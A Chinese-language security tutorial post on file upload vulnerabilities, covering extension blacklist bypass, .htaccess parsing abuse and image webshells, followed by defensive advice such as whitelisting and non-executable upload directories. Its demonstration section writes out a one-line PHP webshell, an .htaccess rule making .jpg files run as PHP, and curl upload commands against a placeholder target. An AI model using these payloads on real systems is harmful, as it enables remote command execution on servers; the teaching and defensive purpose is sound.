文件上传漏洞：从黑名单绕过到WebShell上传getshell
文件上传功能是现代Web应用中必不可少的一部分，然而，若配置不当，它也可能成为攻击者的乐园。2026年，文件上传漏洞仍然是众多安全漏洞榜单中的常客，尤其是当攻击者能够通过绕过文件验证，上传恶意文件获取WebShell时。理解和防护这些漏洞对于Web开发和安全人员而言显得尤为重要。
核心原理
文件上传漏洞的核心在于对上传内容的验证和处理不当，尤其是文件类型的校验。通常，开发者会通过黑名单来禁止某些文件类型。然而，攻击者可以通过多种方式绕过这些限制。
文件类型绕过：黑名单策略往往不够全面，攻击者可以通过修改文件扩展名或利用MIME类型的错漏来突破。例如，将一个PHP文件伪装成图片上传。如果应用仅检查扩展名而不验证文件内容，那么攻击者可以轻松绕过限制。
.htaccess利用：在Apache服务器上，攻击者可以上传一个.htaccess文件来修改文件解析方式。例如，将.jpg文件解析为PHP脚本。
图片马制作：攻击者可在图片文件中嵌入PHP代码，通过中间件解析漏洞执行恶意代码。常用的手法如在JPG文件末尾嵌入PHP代码。
中间件解析漏洞：一些服务器或中间件（如Nginx）可能存在文件解析漏洞。攻击者利用这些漏洞，通过特定的请求路径，将上传的文件作为可执行脚本进行解析执行。
实战演示
下面，我们将演示一些常用的文件上传绕过技术。
文件类型绕过
假设目标应用仅通过文件扩展名来验证上传文件，以下是我们的一种绕过方式：
# 将webshell.php改为webshell.php.jpg
mv webshell.php webshell.php.jpg
# 使用curl上传伪装后的文件
curl -F "file=@webshell.php.jpg" http://target.com/upload.php
说明：如果该应用允许这种文件上传，并在某个解析为PHP的路径中存储文件，攻击者即可执行该脚本。
.htaccess利用
在允许.htaccess上传的环境中，攻击者可以这样实现脚本解析：
- 创建一个包含解析规则的
.htaccess文件：
RewriteEngine on
AddType application/x-httpd-php .jpg
- 上传
.htaccess文件后，再上传含PHP代码的JPG文件。
# 假设shell.jpg包含<?php system($_GET['cmd']); ?>
curl -F "file=@shell.jpg" http://target.com/upload/
- 访问
http://target.com/upload/shell.jpg?cmd=whoami即可执行命令。
防御方案
白名单策略：只允许上传必要的、安全的文件类型，例如，图片仅允许
.jpg,.png等常见格式。严格验证文件内容：不依赖于文件扩展名或MIME类型，通过读取文件头信息（magic numbers）验证文件真伪。
禁用不必要的解析：在配置文件中禁用危险文件的解析，例如，在
.htaccess中移除不必要的解析规则。隔离上传目录：将上传目录设置为不可执行，以避免任何上传的脚本被直接执行。
安全扫描与监控：定期利用工具（如Burp Suite、OWASP ZAP）扫描文件上传功能，及时监控异常上传行为。
总结
文件上传漏洞因其直接性和高危害性，一直是攻击者青睐的目标。通过理解这些漏洞的原理和常见的绕过技术，开发者和安全专家可以采取有效的措施来增强系统的安全性。谨记，防护文件上传漏洞需要从多方面入手：限制上传类型、验证文件内容、配置服务器安全等。
📚 延伸阅读： 建议结合实验环境（如HackTheBox、VulnHub）动手实践，理论+实操才能真正掌握。
📌 关注 @Cn519 每天一个安全技巧